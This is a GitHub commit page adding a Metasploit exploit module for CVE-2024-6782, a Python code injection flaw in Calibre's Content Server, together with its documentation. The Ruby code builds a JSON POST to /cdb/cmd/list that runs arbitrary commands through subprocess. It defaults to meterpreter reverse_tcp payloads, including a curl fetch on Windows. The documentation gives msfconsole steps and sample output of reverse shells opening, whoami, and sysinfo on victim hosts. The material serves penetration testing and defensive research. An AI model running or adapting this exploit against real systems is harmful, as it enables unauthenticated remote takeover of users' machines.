Skip to content

Commit 6dbb264

Browse files
h4x-x0rh4x-x0r
committed
Calibre Python Code Injection (CVE-2024-6782)
New Exploit Module for Calibre Python Code Injection (CVE-2024-6782)
1 parent 52fb857 commit 6dbb264

File tree

2 files changed

+242
-0
lines changed

2 files changed

+242
-0
lines changed

‎documentation/modules/exploit/multi/misc/calibre_exec.md

Lines changed: 106 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,106 @@
1+
## Vulnerable Application
2+
3+
**Vulnerability Description**
4+
5+
This module exploits a vulnerability in Calibre <= v6.9.0 - v7.14.0 (CVE-2024-6782).
6+
7+
An unauthenticated remote attacker can exploit this vulnerability to gain arbitrary code execution in the context of which Calibre is being
8+
executed.
9+
10+
All versions between v6.9.0 - v7.14.0 are affected. STAR Labs published [an advisory](https://starlabs.sg/advisories/24/24-6782/) that
11+
includes the root cause analysis and a proof-of-concept.
12+
13+
**Vulnerable Application Installation**
14+
15+
Calibre can be downloaded from [here](https://download.calibre-ebook.com/).
16+
17+
**Successfully tested on**
18+
19+
Windows:
20+
- Calibre v7.14 on Windows 10 22H2
21+
- Calibre v7.0 on Windows 10 22H2
22+
- Calibre v6.29 on Windows 10 22H2
23+
- Calibre v6.9 on Windows 10 22H2
24+
25+
Linux:
26+
- Calibre v7.14 on Ubuntu 24.04 LTS
27+
- Calibre v7.0 on Ubuntu 24.04 LTS
28+
- Calibre v6.29 on Ubuntu 24.04 LTS
29+
- Calibre v6.9 on Ubuntu 24.04 LTS
30+
31+
## Verification Steps
32+
33+
1. Install Calibre
34+
2. Start Calibre and click Connect/share > Start Content server
35+
3. Start `msfconsole` and run the following commands:
36+
37+
```
38+
msf6 > use exploit/multi/misc/calibre_exec
39+
[*] Using configured payload cmd/windows/http/x64/meterpreter/reverse_tcp
40+
msf6 exploit(multi/misc/calibre_exec) > set RHOSTS <IP>
41+
msf6 exploit(multi/misc/calibre_exec) > set LHOST <IP>
42+
msf6 exploit(multi/misc/calibre_exec) > exploit
43+
```
44+
45+
You should get a meterpreter session running in the same context as the Calibre application.
46+
47+
## Scenarios
48+
49+
**Windows**
50+
51+
Running the exploit against Calibre v7.14 on Windows 10 22H2, using curl as a fetch command, should result in an output similar to the
52+
following:
53+
54+
```
55+
msf6 exploit(multi/misc/calibre_exec) > exploit
56+
57+
[*] Started reverse TCP handler on 192.168.137.190:4444
58+
[*] Running automatic check ("set AutoCheck false" to disable)
59+
[+] The target appears to be vulnerable.
60+
[*] Sending payload...
61+
[*] Sending stage (201798 bytes) to 192.168.137.194
62+
[*] Meterpreter session 1 opened (192.168.137.190:4444 -> 192.168.137.194:50346) at 2024-08-01 23:28:16 -0400
63+
[*] Exploit finished, check thy shell.
64+
65+
meterpreter > sysinfo
66+
Computer : DESKTOP-foo
67+
OS : Windows 10 (10.0 Build 19045).
68+
Architecture : x64
69+
System Language : en_US
70+
Domain : WORKGROUP
71+
Logged On Users : 2
72+
Meterpreter : x64/windows
73+
74+
meterpreter > shell
75+
Process 6084 created.
76+
Channel 1 created.
77+
Microsoft Windows [Version 10.0.19045.4529]
78+
(c) Microsoft Corporation. All rights reserved.
79+
80+
C:\Program Files\Calibre2>whoami
81+
whoami
82+
desktop-foo\admin
83+
```
84+
85+
**Linux**
86+
87+
Running the exploit against Calibre v7.14 on Ubuntu 24.04 LTS, using cmd/unix/python/meterpreter/reverse_tcp as a payload, should result in
88+
an output similar to the following:
89+
90+
```
91+
msf6 exploit(multi/misc/calibre_exec) > exploit
92+
93+
[ *] Started reverse TCP handler on 192.168.137.190:4444
94+
[*] Running automatic check ("set AutoCheck false" to disable)
95+
[+] The target appears to be vulnerable.
96+
[*] Sending payload...
97+
[*] Sending stage (24772 bytes) to 192.168.137.195
98+
[*] Meterpreter session 2 opened (192.168.137.190:4444 -> 192.168.137.195:52376) at 2024-08-01 23:40:16 -0400
99+
100+
meterpreter > sysinfo
101+
Computer : asdfvm
102+
OS : Linux 6.8.0-39-generic #39-Ubuntu SMP PREEMPT_DYNAMIC Fri Jul 5 21:49:14 UTC 2024
103+
Architecture : x64
104+
System Language : en_US
105+
Meterpreter : python/linux
106+
```

‎modules/exploits/multi/misc/calibre_exec.rb

Lines changed: 136 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,136 @@
1+
class MetasploitModule < Msf::Exploit::Remote
2+
Rank = ExcellentRanking
3+
include Msf::Exploit::Remote::HttpClient
4+
prepend Msf::Exploit::Remote::AutoCheck
5+
6+
def initialize(info = {})
7+
super(
8+
update_info(
9+
info,
10+
'Name' => 'Calibre Python Code Injection (CVE-2024-6782)',
11+
'Description' => %q{
12+
This module exploits a Python code injection vulnerability in the Content Server component of Calibre v6.9.0 - v7.14.0. Once enabled (disabled by default), it will listen in its default configuration on all network interfaces on TCP port 8080 for incoming traffic, and does not require any authentication. The injected payload will get executed in the same context under which Calibre is being executed.
13+
},
14+
'License' => MSF_LICENSE,
15+
'Author' => [
16+
'Amos Ng', # Discovery & PoC
17+
'Michael Heinzl', # MSF exploit
18+
],
19+
'References' => [
20+
[ 'URL', 'https://starlabs.sg/advisories/24/24-6782'],
21+
[ 'CVE', '2024-6782']
22+
],
23+
'DisclosureDate' => '2024-07-31',
24+
'Platform' => ['win', 'linux', 'unix'],
25+
'Arch' => [ ARCH_CMD ],
26+
27+
'Payload' => {
28+
'BadChars' => '\\'
29+
},
30+
31+
'Targets' => [
32+
[
33+
'Windows_Fetch',
34+
{
35+
'Arch' => [ ARCH_CMD ],
36+
'Platform' => 'win',
37+
'DefaultOptions' => {
38+
'FETCH_COMMAND' => 'CURL',
39+
'PAYLOAD' => 'cmd/windows/http/x64/meterpreter/reverse_tcp'
40+
},
41+
'Type' => :win_fetch
42+
}
43+
],
44+
[
45+
'Linux Command',
46+
{
47+
'Platform' => [ 'unix', 'linux' ],
48+
'Arch' => ARCH_CMD,
49+
'Type' => :nix_cmd,
50+
'DefaultOptions' => {
51+
'PAYLOAD' => 'cmd/unix/python/meterpreter/reverse_tcp'
52+
}
53+
}
54+
],
55+
56+
],
57+
'DefaultTarget' => 0,
58+
59+
'Notes' => {
60+
'Stability' => [CRASH_SAFE],
61+
'Reliability' => [REPEATABLE_SESSION],
62+
'SideEffects' => [IOC_IN_LOGS]
63+
}
64+
)
65+
)
66+
67+
register_options(
68+
[
69+
Opt::RPORT(8080)
70+
]
71+
)
72+
end
73+
74+
def check
75+
begin
76+
res = send_request_cgi({
77+
'method' => 'GET',
78+
'uri' => normalize_uri(target_uri.path)
79+
})
80+
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
81+
return CheckCode::Unknown
82+
end
83+
84+
if res && res.code == 200
85+
data = res.body.to_s
86+
pattern = /CALIBRE_VERSION\s*=\s*"([^"]+)"/
87+
88+
version = data.match(pattern)
89+
90+
if version[1].nil?
91+
return CheckCode::Unknown
92+
else
93+
vprint_status('Version retrieved: ' + version[1].to_s)
94+
end
95+
96+
if Rex::Version.new(version[1]) <= Rex::Version.new('7.14.0') && Rex::Version.new(version[1]) >= Rex::Version.new('6.9.0')
97+
return CheckCode::Appears
98+
else
99+
return CheckCode::Safe
100+
end
101+
else
102+
return CheckCode::Unknown
103+
end
104+
end
105+
106+
def exploit
107+
case target['Type']
108+
when :win_fetch
109+
execute_command(payload.encoded)
110+
when :nix_cmd
111+
execute_command(payload.encoded)
112+
end
113+
end
114+
115+
def execute_command(cmd)
116+
print_status('Sending payload...')
117+
exec_calibre(cmd)
118+
print_status('Exploit finished, check thy shell.')
119+
end
120+
121+
def exec_calibre(cmd)
122+
payload = "[[\"template\"], \"\", \"\", \"\", 1,\"python:def evaluate(a, b):\\n import subprocess\\n try:\\n return subprocess.check_output(['cmd.exe', '/c', '#{cmd}']).decode()\\n except Exception:\\n return subprocess.check_output(['sh', '-c', '#{cmd}']).decode()\"]"
123+
124+
res = send_request_cgi({
125+
'method' => 'POST',
126+
'ctype' => 'application/json',
127+
'data' => payload,
128+
'uri' => normalize_uri(target_uri.path, 'cdb/cmd/list')
129+
})
130+
131+
if res && res.code == 200
132+
print_good('Command successfully executed, check your shell.')
133+
end
134+
end
135+
136+
end

0 commit comments

Comments
 (0)